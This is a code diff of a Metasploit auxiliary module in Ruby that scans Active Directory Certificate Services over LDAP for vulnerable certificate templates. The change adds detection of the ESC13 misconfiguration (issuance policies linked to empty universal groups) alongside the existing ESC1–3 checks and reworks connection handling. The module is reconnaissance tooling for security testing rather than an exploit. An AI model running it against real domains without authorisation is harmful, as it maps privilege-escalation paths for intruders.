'References' => [
|
'References' => [
|
||||||
'URL' => 'https://posts.specterops.io/certified-pre-owned-d95910965cd2'
|
[ 'URL', 'https://posts.specterops.io/certified-pre-owned-d95910965cd2' ],
|
||||||
|
[ 'URL', 'https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53' ] # ESC13
|
||||||
],
|
],
|
||||||
'DisclosureDate' => '2021-06-17',
|
'DisclosureDate' => '2021-06-17',
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
|
@ -97,25 +107,6 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
end
|
end
|
||||||
|
|
||||||
def query_ldap_server(raw_filter, attributes, base_prefix: nil)
|
def query_ldap_server(raw_filter, attributes, base_prefix: nil)
|
||||||
ldap_connect do |ldap|
|
|
||||||
validate_bind_success!(ldap)
|
|
||||||
|
|
||||||
if !@base_dn.blank?
|
|
||||||
vprint_status("Using already discovered base DN: #{@base_dn}")
|
|
||||||
elsif (@base_dn = datastore['BASE_DN'])
|
|
||||||
print_status("User-specified base DN: #{@base_dn}")
|
|
||||||
else
|
|
||||||
print_status('Discovering base DN automatically')
|
|
||||||
|
|
||||||
unless (@base_dn = discover_base_dn(ldap))
|
|
||||||
print_warning("Couldn't discover base DN!")
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
if @base_dn.blank?
|
|
||||||
fail_with(Failure::BadConfig, 'No base DN was found or specified, cannot continue!')
|
|
||||||
end
|
|
||||||
|
|
||||||
if base_prefix.blank?
|
if base_prefix.blank?
|
||||||
full_base_dn = @base_dn.to_s
|
full_base_dn = @base_dn.to_s
|
||||||
else
|
else
|
||||||
|
@ -145,32 +136,21 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
controls = []
|
controls = []
|
||||||
controls << [LDAP_SERVER_SD_FLAGS_OID.to_ber, true.to_ber, control_values].to_ber_sequence
|
controls << [LDAP_SERVER_SD_FLAGS_OID.to_ber, true.to_ber, control_values].to_ber_sequence
|
||||||
|
|
||||||
returned_entries = ldap.search(base: full_base_dn, filter: filter, attributes: attributes, controls: controls)
|
returned_entries = @ldap.search(base: full_base_dn, filter: filter, attributes: attributes, controls: controls)
|
||||||
query_result_table = ldap.get_operation_result.table
|
query_result_table = @ldap.get_operation_result.table
|
||||||
|
|
||||||
validate_query_result!(query_result_table, filter)
|
validate_query_result!(query_result_table, filter)
|
||||||
|
|
||||||
if returned_entries.blank?
|
return nil if returned_entries.empty?
|
||||||
vprint_error("No results found for #{filter}.")
|
|
||||||
|
|
||||||
nil
|
|
||||||
else
|
|
||||||
|
|
||||||
returned_entries
|
returned_entries
|
||||||
end
|
end
|
||||||
end
|
|
||||||
rescue Rex::ConnectionTimeout
|
|
||||||
fail_with(Failure::Unreachable, "Couldn't reach #{datastore['RHOST']}!")
|
|
||||||
rescue Net::LDAP::Error => e
|
|
||||||
fail_with(Failure::UnexpectedReply, "Could not query #{datastore['RHOST']}! Error was: #{e.message}")
|
|
||||||
end
|
|
||||||
|
|
||||||
def query_ldap_server_certificates(esc_raw_filter, esc_name)
|
def query_ldap_server_certificates(esc_raw_filter, esc_name)
|
||||||
attributes = ['cn', 'description', 'ntSecurityDescriptor']
|
attributes = ['cn', 'description', 'ntSecurityDescriptor']
|
||||||
base_prefix = 'CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration'
|
base_prefix = 'CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration'
|
||||||
esc_entries = query_ldap_server(esc_raw_filter, attributes, base_prefix: base_prefix)
|
esc_entries = query_ldap_server(esc_raw_filter, attributes, base_prefix: base_prefix)
|
||||||
|
|
||||||
if esc_entries.blank?
|
if esc_entries.empty?
|
||||||
print_warning("Couldn't find any vulnerable #{esc_name} templates!")
|
print_warning("Couldn't find any vulnerable #{esc_name} templates!")
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
@ -191,7 +171,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
if @vuln_certificate_details.key?(certificate_symbol)
|
if @vuln_certificate_details.key?(certificate_symbol)
|
||||||
@vuln_certificate_details[certificate_symbol][:vulns] << esc_name
|
@vuln_certificate_details[certificate_symbol][:vulns] << esc_name
|
||||||
else
|
else
|
||||||
@vuln_certificate_details[certificate_symbol] = { vulns: [esc_name], dn: entry[:dn][0], certificate_enrollment_sids: convert_sids_to_human_readable_name(allowed_sids), ca_servers_n_enrollment_sids: {} }
|
@vuln_certificate_details[certificate_symbol] = { vulns: [esc_name], dn: entry[:dn][0], certificate_enrollment_sids: convert_sids_to_human_readable_name(allowed_sids), ca_servers_n_enrollment_sids: {}, notes: [] }
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
@ -300,6 +280,65 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
query_ldap_server_certificates(esc3_template_2_raw_filter, 'ESC3_TEMPLATE_2')
|
query_ldap_server_certificates(esc3_template_2_raw_filter, 'ESC3_TEMPLATE_2')
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def find_esc13_vuln_cert_templates
|
||||||
|
esc_raw_filter = <<~FILTER
|
||||||
|
(&
|
||||||
|
(objectclass=pkicertificatetemplate)
|
||||||
|
(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))
|
||||||
|
(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))
|
||||||
|
(mspki-certificate-policy=*)
|
||||||
|
)
|
||||||
|
FILTER
|
||||||
|
attributes = ['cn', 'description', 'ntSecurityDescriptor', 'msPKI-Certificate-Policy']
|
||||||
|
base_prefix = 'CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration'
|
||||||
|
esc_entries = query_ldap_server(esc_raw_filter, attributes, base_prefix: base_prefix)
|
||||||
|
|
||||||
|
if esc_entries.empty?
|
||||||
|
print_warning("Couldn't find any vulnerable ESC13 templates!")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
# Grab a list of certificates that contain vulnerable settings.
|
||||||
|
# Also print out the list of SIDs that can enroll in that server.
|
||||||
|
esc_entries.each do |entry|
|
||||||
|
begin
|
||||||
|
security_descriptor = Rex::Proto::MsDtyp::MsDtypSecurityDescriptor.read(entry[:ntsecuritydescriptor][0])
|
||||||
|
rescue IOError => e
|
||||||
|
fail_with(Failure::UnexpectedReply, "Unable to read security descriptor! Error was: #{e.message}")
|
||||||
|
end
|
||||||
|
|
||||||
|
allowed_sids = parse_acl(security_descriptor.dacl) if security_descriptor.dacl
|
||||||
|
next if allowed_sids.empty?
|
||||||
|
|
||||||
|
groups = []
|
||||||
|
entry['mspki-certificate-policy'].each do |certificate_policy_oid|
|
||||||
|
policy = get_pki_object_by_oid(certificate_policy_oid)
|
||||||
|
next if policy['msds-oidtogrouplink'].blank?
|
||||||
|
|
||||||
|
# get the group and check it for two conditions
|
||||||
|
group = get_group_by_dn(policy['msds-oidtogrouplink'].first)
|
||||||
|
|
||||||
|
# condition 1: the group must be a universal group
|
||||||
|
next if (group['grouptype'].first.to_i & ADS_GROUP_TYPE_UNIVERSAL_GROUP) == 0
|
||||||
|
|
||||||
|
# condition 2: the group must have no members (this is enforced in the GUI but check it anyways)
|
||||||
|
next if group['member'].present?
|
||||||
|
|
||||||
|
groups << group['samaccountname'].first.to_s
|
||||||
|
end
|
||||||
|
next if groups.empty?
|
||||||
|
|
||||||
|
note = "ESC13 groups: #{groups.join(', ')}"
|
||||||
|
certificate_symbol = entry[:cn][0].to_sym
|
||||||
|
if @vuln_certificate_details.key?(certificate_symbol)
|
||||||
|
@vuln_certificate_details[certificate_symbol][:vulns] << 'ESC13'
|
||||||
|
@vuln_certificate_details[certificate_symbol][:notes] << note
|
||||||
|
else
|
||||||
|
@vuln_certificate_details[certificate_symbol] = { vulns: ['ESC13'], dn: entry[:dn][0], certificate_enrollment_sids: convert_sids_to_human_readable_name(allowed_sids), ca_servers_n_enrollment_sids: {}, notes: [note] }
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
def find_enrollable_vuln_certificate_templates
|
def find_enrollable_vuln_certificate_templates
|
||||||
# For each of the vulnerable certificate templates, determine which servers
|
# For each of the vulnerable certificate templates, determine which servers
|
||||||
# allows users to enroll in that certificate template and which users/groups
|
# allows users to enroll in that certificate template and which users/groups
|
||||||
|
@ -346,6 +385,14 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
|
|
||||||
print_status(" Distinguished Name: #{hash[:dn]}")
|
print_status(" Distinguished Name: #{hash[:dn]}")
|
||||||
print_status(" Vulnerable to: #{hash[:vulns].join(', ')}")
|
print_status(" Vulnerable to: #{hash[:vulns].join(', ')}")
|
||||||
|
if hash[:notes].present? && hash[:notes].length == 1
|
||||||
|
print_status(" Notes: #{hash[:notes].first}")
|
||||||
|
elsif hash[:notes].present? && hash[:notes].length > 1
|
||||||
|
print_status(' Notes:')
|
||||||
|
hash[:notes].each do |note|
|
||||||
|
print_status(" * #{note}")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
print_status(' Certificate Template Enrollment SIDs:')
|
print_status(' Certificate Template Enrollment SIDs:')
|
||||||
for sid in hash[:certificate_enrollment_sids].split(' | ')
|
for sid in hash[:certificate_enrollment_sids].split(' | ')
|
||||||
|
@ -367,16 +414,70 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def get_pki_object_by_oid(oid)
|
||||||
|
pki_object = @ldap_mspki_enterprise_oids.find { |o| o['mspki-cert-template-oid'].first == oid }
|
||||||
|
|
||||||
|
if pki_object.nil?
|
||||||
|
pki_object = query_ldap_server(
|
||||||
|
"(&(objectClass=msPKI-Enterprise-Oid)(msPKI-Cert-Template-OID=#{oid}))",
|
||||||
|
nil,
|
||||||
|
base_prefix: 'CN=OID,CN=Public Key Services,CN=Services,CN=Configuration'
|
||||||
|
)&.first
|
||||||
|
@ldap_mspki_enterprise_oids << pki_object if pki_object
|
||||||
|
end
|
||||||
|
|
||||||
|
pki_object
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_group_by_dn(group_dn)
|
||||||
|
group = @ldap_groups.find { |o| o['dn'].first == group_dn }
|
||||||
|
|
||||||
|
if group.nil?
|
||||||
|
cn, _, base = group_dn.partition(',')
|
||||||
|
base.delete_suffix!(",#{@base_dn}")
|
||||||
|
group = query_ldap_server(
|
||||||
|
"(#{cn})",
|
||||||
|
nil,
|
||||||
|
base_prefix: base
|
||||||
|
)&.first
|
||||||
|
@ldap_groups << group if group
|
||||||
|
end
|
||||||
|
|
||||||
|
group
|
||||||
|
end
|
||||||
|
|
||||||
def run
|
def run
|
||||||
# Define our instance variables real quick.
|
# Define our instance variables real quick.
|
||||||
@base_dn = nil
|
@base_dn = nil
|
||||||
|
@ldap_mspki_enterprise_oids = []
|
||||||
|
@ldap_groups = []
|
||||||
@vuln_certificate_details = {} # Initialize to empty hash since we want to only keep one copy of each certificate template along with its details.
|
@vuln_certificate_details = {} # Initialize to empty hash since we want to only keep one copy of each certificate template along with its details.
|
||||||
|
|
||||||
|
ldap_connect do |ldap|
|
||||||
|
validate_bind_success!(ldap)
|
||||||
|
|
||||||
|
if (@base_dn = datastore['BASE_DN'])
|
||||||
|
print_status("User-specified base DN: #{@base_dn}")
|
||||||
|
else
|
||||||
|
print_status('Discovering base DN automatically')
|
||||||
|
|
||||||
|
unless (@base_dn = discover_base_dn(ldap))
|
||||||
|
fail_with(Failure::NotFound, "Couldn't discover base DN!")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
@ldap = ldap
|
||||||
|
|
||||||
find_esc1_vuln_cert_templates
|
find_esc1_vuln_cert_templates
|
||||||
find_esc2_vuln_cert_templates
|
find_esc2_vuln_cert_templates
|
||||||
find_esc3_vuln_cert_templates
|
find_esc3_vuln_cert_templates
|
||||||
|
find_esc13_vuln_cert_templates
|
||||||
|
|
||||||
find_enrollable_vuln_certificate_templates
|
find_enrollable_vuln_certificate_templates
|
||||||
print_vulnerable_cert_info
|
print_vulnerable_cert_info
|
||||||
end
|
end
|
||||||
|
rescue Rex::ConnectionError => e
|
||||||
|
print_error("#{e.class}: #{e.message}")
|
||||||
|
rescue Net::LDAP::Error => e
|
||||||
|
print_error("#{e.class}: #{e.message}")
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue